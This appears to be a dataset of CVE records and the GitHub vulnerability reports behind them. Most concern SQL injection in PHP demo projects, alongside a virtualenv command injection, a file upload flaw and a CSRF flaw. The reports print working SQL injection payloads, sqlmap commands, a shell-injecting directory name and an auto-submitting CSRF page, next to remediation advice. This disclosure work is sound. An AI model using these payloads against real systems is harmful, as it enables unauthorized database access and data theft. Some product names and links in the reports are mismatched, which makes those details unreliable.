# code-projects Simple Car Rental System In PHP With Source Code v1.0 book_car.php SQL injection # usernameOF AFFECTED PRODUCT(S) + Restaurant Order System In PHP With Source Code ## Vendor Homepage + https://code-projects.org/simple-car-rental-system-in-php-with-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + silen ## Vulnerable File + book_car.php ## VERSION(S) + V1.0 ## Software Link + https://download.code-projects.org/details/d25c80bc-0c8c-402c-8902-295ab6ff0f98 # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'book_car.php' file of the 'Restaurant Order System In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "fname" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ![1](https://github.com/user-attachments/assets/fc46e488-f2b7-4beb-9b5b-b36b2d6ac51d) ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + Due to insufficient user input verification for the "fname" parameter, a serious SQL injection vulnerability has been discovered in the "Simple Car Rental System In PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login verification required # Vulnerability details and POC ``` POST /book_car.php?id=1 HTTP/1.1 Host: 192.168.1.200:1212 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 96 Origin: http://192.168.1.200:1212 Connection: close Referer: http://192.168.1.200:1212/book_car.php?id=1 Cookie: PHPSESSID=v80phjj1umn61msuqisnar8277; SAIDE=jgh7v2c1f5r15l7siepfdb3sg1 Upgrade-Insecure-Requests: 1 Priority: u=0, i fname=123&phone=123&email=123123%40qq.com&id_no=123&gender=Male&location=123&save=Submit+Details ``` ## Vulnerability type: + time-based blind ## Vulnerability location: + 'fname' parameter ## Payload: ``` Parameter: fname (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: fname=123' AND (SELECT 3129 FROM (SELECT(SLEEP(5)))kxLQ) AND 'esew'='esew&phone=123&email=123123@qq.com&id_no=123&gender=Male&location=123&save=Submit Details ``` ![2](https://github.com/user-attachments/assets/ae9546a9-2805-4f44-88b7-62a182d6c7ba) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs ``` ![3](https://github.com/user-attachments/assets/83958ae6-d646-479d-b479-c687f28b67d6) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

code-projects Simple Car Rental System In PHP With Source Code v1.0 book_car.php SQL injection

https://api.github.com/repos/sil3n/cve/issues/2/comments

0

2024-11-18T02:05:39Z

https://github.com/sil3n/cve/issues/2

2,666,855,479

2

6,415

CVE-2024-53899

2024-11-24T16:15:06.647

virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual environment. Magic template strings are not quoted correctly when replacing. NOTE: this is not the same as CVE-2024-9287.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit" ], "url": "https://github.com/pypa/virtualenv/issues/2768" }, { "source": "cve@mitre.org", "tags": [ "Patch" ], "url": "https://github.com/pypa/virtualenv/pull/2771" }, { "source": "cve@mitre.org", "tags": [ "Release Notes" ], "url": "https://github.com/pypa/virtualenv/releases/tag/20.26.6" } ]

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[ "77" ]

77

https://github.com/pypa/virtualenv/issues/2768

[ "Exploit" ]

github.com

[ "pypa", "virtualenv" ]

**Issue** This issue was originally reported to Tidelift, with disclosure negotiated with the maintainer. The activation script in `virtualenv` is command injectable via a crafted path: ```bash envname="';uname -a;':" mkdir "$envname" cd "$envname" virtualenv . . ./bin/activate ``` ``` Linux archlinux 6.10.6-arch1-1 #1 SMP PREEMPT_DYNAMIC Mon, 19 Aug 2024 17:02:39 ``` The execution path is low-risk since users clearly know what they are doing. However, it makes *downstream attack vectors* possible. More details on possible exploits of a famous downstream were disclosed to the maintainers of that project and `virtualenv`. **Environment** - OS: Linux

Command injection is possible via activation script

https://api.github.com/repos/pypa/virtualenv/issues/2768/comments

0

2024-09-23T14:27:10Z

2024-09-27T16:16:10Z

https://github.com/pypa/virtualenv/issues/2768

2,542,843,653

2,768

6,416

CVE-2024-11646

2024-11-25T00:15:03.743

A vulnerability classified as critical was found in 1000 Projects Beauty Parlour Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/edit-services.php. The manipulation of the argument sername leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/ppp-src/CVE/issues/33

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ppp-src", "CVE" ]

# 100projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/edit-services.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Hacker0xOne ## Vulnerable File + admin/edit-services.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/edit-services.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'sername' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Hacker0xOne discovered a critical SQL injection vulnerability in the "admin/edit-services.php" file. This vulnerability stems from insufficient user input validation of the 'sername' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + time-based blind ## Vulnerability lonameion: + 'sername' parameter ## Payload: ```makefile Parameter: sername (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sername=1111111' AND (SELECT 6074 FROM (SELECT(SLEEP(5)))aOPX) AND 'lear'='lear&cost=1111111&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/edit-services.php?editid=1" --data="sername=O3+Facial111&cost=1200&submit=" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent ``` + <img width="574" alt="image" src="https://github.com/user-attachments/assets/5fa63673-5d16-4ce8-b488-5bdf8606a09b"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

100projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/edit-services.php SQL injection

https://api.github.com/repos/ppp-src/CVE/issues/33/comments

0

2024-11-18T11:54:46Z

https://github.com/ppp-src/CVE/issues/33

2,668,312,231

33

6,417

CVE-2024-11647

2024-11-25T01:15:04.033

A vulnerability, which was classified as critical, has been found in 1000 Projects Beauty Parlour Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/view-appointment.php. The manipulation of the argument viewid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/ppp-src/CVE/issues/34

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ppp-src", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/view-appointment.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + src123202411 ## Vulnerable File + admin/view-appointment.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/view-appointment.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'viewid' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", src123202411 discovered a critical SQL injection vulnerability in the "admin/view-appointment.php" file. This vulnerability stems from insufficient user input validation of the 'viewid' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + boolean-based blind + time-based blind + UNION query ## Vulnerability lonameion: + 'viewid' parameter ## Payload: ```makefile Parameter: viewid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: viewid=1' AND 7432=7432-- ohNs Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: viewid=1' AND (SELECT 2330 FROM (SELECT(SLEEP(5)))zSjL)-- AJKf Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: viewid=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170717171,0x737a76476d61616f4c4264614f414f775a5752787a4c586c657a414170504f6351794b687a656648,0x7171717171),NULL,NULL,NULL,NULL,NULL,NULL-- - ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/view-appointment.php?viewid=1" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent ``` + <img width="575" alt="image" src="https://github.com/user-attachments/assets/22d83923-314f-4a72-bf03-386b94f81c7a"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/view-appointment.php SQL injection

https://api.github.com/repos/ppp-src/CVE/issues/34/comments

0

2024-11-18T11:58:53Z

https://github.com/ppp-src/CVE/issues/34

2,668,322,809

34

6,418

CVE-2024-11648

2024-11-25T01:15:04.687

A vulnerability, which was classified as critical, was found in 1000 Projects Beauty Parlour Management System 1.0. This affects an unknown part of the file /admin/add-customer.php. The manipulation of the argument name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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89

https://github.com/Calmgh/CVE/issues/1

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github.com

[ "Calmgh", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/add-customer.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Calmgh06 ## Vulnerable File + admin/add-customer.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/add-customer.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'name' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Calmgh06 discovered a critical SQL injection vulnerability in the "admin/add-customer.php" file. This vulnerability stems from insufficient user input validation of the 'name' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + 'name' parameter ## Payload: ```makefile Parameter: name (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=111' AND (SELECT 6475 FROM (SELECT(SLEEP(5)))vdqw) AND 'yIfS'='yIfS&email=12@qq.com&mobilenum=1111111111&gender=Female&details=1111111111&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/add-customer.php" --data="name=111&email=12%40qq.com&mobilenum=1111111111&gender=Female&details=1111111111&submit=" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent ``` + <img width="579" alt="image" src="https://github.com/user-attachments/assets/d73bde1c-8bfc-4c10-ae19-a579323b6599"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/add-customer.php SQL injection

https://api.github.com/repos/Calmgh/CVE/issues/1/comments

0

2024-11-19T07:16:42Z

2024-11-19T07:16:43Z

https://github.com/Calmgh/CVE/issues/1

2,671,046,129

1

6,419

CVE-2024-11649

2024-11-25T02:15:15.883

A vulnerability has been found in 1000 Projects Beauty Parlour Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/search-appointment.php. The manipulation of the argument searchdata leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/zgaz/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "zgaz", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 /admin/search-appointment.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + zhugeaozun ## Vulnerable File + /admin/search-appointment.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/admin/search-appointment.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'searchdata' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", zhugeaozun discovered a critical SQL injection vulnerability in the "/admin/search-appointment.php" file. This vulnerability stems from insufficient user input validation of the 'searchdata' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + 'searchdata' parameter ## Payload: ```makefile Parameter: searchdata (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: searchdata=11111' AND (SELECT 2483 FROM (SELECT(SLEEP(5)))ylwb)-- fdyi&search= Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: searchdata=11111' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7a71,0x776156536c644673674278675648557666574a4f794f7a794b4e526a43514647626b514d6f6d6269,0x71786b6b71),NULL,NULL,NULL,NULL,NULL,NULL-- -&search= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/search-appointment.php" --data="searchdata=11111&search=" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent --random-agent ``` + <img width="579" alt="image" src="https://github.com/user-attachments/assets/8992ff6b-7f31-426a-a0f4-a5fd7f637303"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Beauty Parlour Management System PHP SQLite Project V1.0 /admin/search-appointment.php SQL injection

https://api.github.com/repos/zgaz/CVE/issues/1/comments

0

2024-11-23T12:14:41Z

https://github.com/zgaz/CVE/issues/1

2,685,929,304

1

6,420

CVE-2024-11661

2024-11-25T08:15:09.007

A vulnerability was found in Codezips Free Exam Hall Seating Management System 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file profile.php of the component Profile Image Handler. The manipulation of the argument image leads to unrestricted upload. The attack can be initiated remotely. The researcher submit confuses the vulnerability class of this issue.

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[ "434" ]

434

https://github.com/anqi12301/CVE/issues/1

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "anqi12301", "CVE" ]

# Codezips Free Exam Hall Seating Management System In PHP with Source Code 1.0 profile.php Unrestricted Upload # NAME OF AFFECTED PRODUCT(S) + Free Exam Hall Seating Management System In PHP with Source Code ## Vendor Homepage + https://codezips.com/php/free-exam-hall-seating-management-system-in-php-with-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + 0e1G7 ## Vulnerable File + profile.php ## VERSION(S) + V1.0 ## Software Link + https://raw.githubusercontent.com/nikhildb/free-exam-hall-seating-arrangement-management/master/free-exam-hall-seating-arrangement-management-Academic-Project.zip # PROBLEM TYPE ## Vulnerability Type + File upload ## Root cause + In line 15 of the 'profile.php' file, the input obtained through '$_FILES' is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows: + <img width="587" alt="image" src="https://github.com/user-attachments/assets/00ad478f-0aa3-46a8-ba44-c8b250a86566"> ## Impact + Attackers can exploit this vulnerability for unrestricted uploads, which may result in file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also lead to RCE # Description + '0e1G7' found that the file upload operation was received by the variable '$_FILES' in the 'profile.php' file. Due to the lack of proper input validation and cleaning, remote attackers can pass malicious payloads through this file upload function, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE). # Vulnerability details and POC ## Payload ## POC screenshot + <img width="728" alt="image-1" src="https://github.com/user-attachments/assets/c781fde9-ed3a-40fb-94c3-4b501fea0ea8"> + Upload malicious PHP Trojan directly + <img width="563" alt="image-2" src="https://github.com/user-attachments/assets/e53a6840-80b6-43b5-be89-fe18412b5e41"> ## I successfully executed the PHP script on the terminal + <img width="562" alt="image-3" src="https://github.com/user-attachments/assets/92a80210-0c53-471a-a65c-bccd684b4b05"> + **In addition to being able to execute the command 'ipconfig', there are also more harmful commands that can be executed, which will not be listed here one by one**

Codezips Free Exam Hall Seating Management System In PHP with Source Code 1.0 profile.php Unrestricted Upload

https://api.github.com/repos/anqi12301/CVE/issues/1/comments

0

2024-11-19T03:56:51Z

https://github.com/anqi12301/CVE/issues/1

2,670,648,707

1

6,421

CVE-2024-11663

2024-11-25T09:15:06.590

A vulnerability classified as critical was found in Codezips E-Commerce Site 1.0. Affected by this vulnerability is an unknown functionality of the file search.php. The manipulation of the argument keywords leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/disinroot/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "disinroot", "CVE" ]

# Codezips E-commerce Site Using PHP With Source Code V1.0 search.php SQL injection # NAME OF AFFECTED PRODUCT(S) + E-commerce Site Using PHP With Source Code ## Vendor Homepage + https://codezips.com/php/e-commerce-site-using-php-with-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + xiongdaicheng ## Vulnerable File + search.php ## VERSION(S) + V1.0 ## Software Link + https://codeload.github.com/codezips/ecommerce-site-using-php/zip/master # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'search.php' file of the 'E-commerce Site Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter 'keywords' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "E-commerce Site Using PHP With Source Code", xiongdaicheng discovered a critical SQL injection vulnerability in the "search.php" file. This vulnerability stems from insufficient user input validation of the 'keywords' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: + 'keywords' parameter ## Payload: ```makefile Parameter: keywords (GET) Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: keywords=11111' AND GTID_SUBSET(CONCAT(0x71626b6b71,(SELECT (ELT(5571=5571,1))),0x7170787171),5571)-- ntvd Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: keywords=11111' AND (SELECT 6340 FROM (SELECT(SLEEP(5)))TyQB)-- nDxT ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1116/search.php?keywords=11111" --cookie="PHPSESSID=n4bccomqe6pevr8e66un0bsu12" --batch --level=5 --risk=3 --random-agent --dbms=mysql --dbs ``` + <img width="571" alt="image" src="https://github.com/user-attachments/assets/1cc7ec72-065d-4115-896b-10f26db8f917"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Codezips E-commerce Site Using PHP With Source Code V1.0 search.php SQL injection

https://api.github.com/repos/disinroot/CVE/issues/1/comments

0

2024-11-19T07:38:15Z

2024-11-19T07:40:25Z

https://github.com/disinroot/CVE/issues/1

2,671,125,449

1

6,422

CVE-2024-11673

2024-11-25T23:15:04.280

A vulnerability, which was classified as problematic, has been found in 1000 Projects Bookstore Management System 1.0. This issue affects some unknown processing. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Hacker0xone/CVE/issues/16" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?ctiid.286013" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?id.286013" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.448470" } ]

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[ "352" ]

352

https://github.com/Hacker0xone/CVE/issues/16

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# **Vulnerability Report** + **1000projects Bookstore Management System PHP MySQL Project V1.0 - Cross-Site Request Forgery (CSRF)** ## **Vulnerability Name** + Cross-Site Request Forgery (CSRF) ## **Basic Information** - **Target System**: Bookstore Management System - **Tested Parameter**: `s` + **Source Code Link**: [Bookstore Management System PHP MySQL Project - 1000projects](https://1000projects.org/bookstore-management-system-php-mysql-project.html) + **Project Download Link**: [Download Bookstore Management System PHP MySQL Project](https://raw.githubusercontent.com/nikhildb/free-exam-hall-seating-arrangement-management/master/free-exam-hall-seating-arrangement-management-Academic-Project.zip) + **Submitted by**：Hacker0xOne - [@Hacker0xone](https://github.com/Hacker0xone/) ## **Vulnerability Description** The target system is vulnerable to Cross-Site Request Forgery (CSRF). It does not verify the origin of sensitive requests nor validate CSRF tokens. This allows an attacker to craft malicious web pages that can trigger unwanted actions on behalf of authenticated users, potentially compromising the system's business logic. ## **Reproduction Steps** ### **Step 1: Create CSRF Exploit Page** Save the following code as `test.html`: ```html <html> <body> <form action="http://10.211.55.6:1111/search.php"> <input type="hidden" name="s" value="2222222222222" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` ### **Step 2: Load the PoC** 1. Open `test.html` in any browser. 2. The page automatically submits a request to the target system. ### **Step 3: Observe the Response** After submitting the request, the system processes the parameter `s=2222222222222` and returns the search results, confirming that the forged request is accepted. ## **Test Results** ### **Observation** - **Request Outcome**: The server processes the forged request without validating the origin or requiring a CSRF token. - **Browser Support**: The exploit works across multiple browsers (tested on Chrome, Safari, and Edge). ### **Screenshots** - **PoC Page**: + <img width="684" alt="image" src="https://github.com/user-attachments/assets/05653b3e-7e1f-49b1-827b-e89fa1489dfc"> - **Response Output**: + <img width="902" alt="image-2" src="https://github.com/user-attachments/assets/3eafa1cb-11bc-46a2-950c-5479356e57f9"> + <img width="1383" alt="image-1" src="https://github.com/user-attachments/assets/16cecc79-f0e3-4d97-8f8a-874e1ec755a1"> ## **Impact** - **Lack of Validation**: The server does not check the `Referer` or `Origin` headers and does not require a CSRF token. - **Attack Scenarios**: - An attacker can craft a malicious page and trick users into executing unauthorized actions, such as triggering search requests or altering user data. - If extended to sensitive operations (e.g., payments or privilege escalation), the impact could be severe. ## **Remediation Recommendations** 1. **Implement CSRF Tokens** - Add dynamically generated CSRF tokens to all sensitive operations: ```php $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); ``` - Validate the token on the server: ```php if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) { die("Invalid CSRF token"); } ``` 2. **Verify Referer or Origin** - Check the request origin to ensure it comes from a trusted source: ```php if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== '10.211.55.6') { die("Invalid request source"); } ``` 3. **Set Cookie Attributes** - Configure cookies with `SameSite` attributes to prevent cross-site exploitation: ```php setcookie('key', 'value', ['samesite' => 'Strict', 'secure' => true]); ``` 4. **Restrict Sensitive Operations** - For high-risk actions (e.g., account changes), implement additional verification steps, such as multi-factor authentication or explicit user confirmation. ## **References** - [OWASP CSRF Prevention Cheat Sheet](https://owasp.org/www-project-cheat-sheets/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) - [SameSite Cookie Attributes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite) **Discovery Date**: November 20, 2024

1000projects Bookstore Management System PHP MySQL Project V1.0 - Cross-Site Request Forgery (CSRF)

https://api.github.com/repos/Hacker0xOne/CVE/issues/16/comments

0

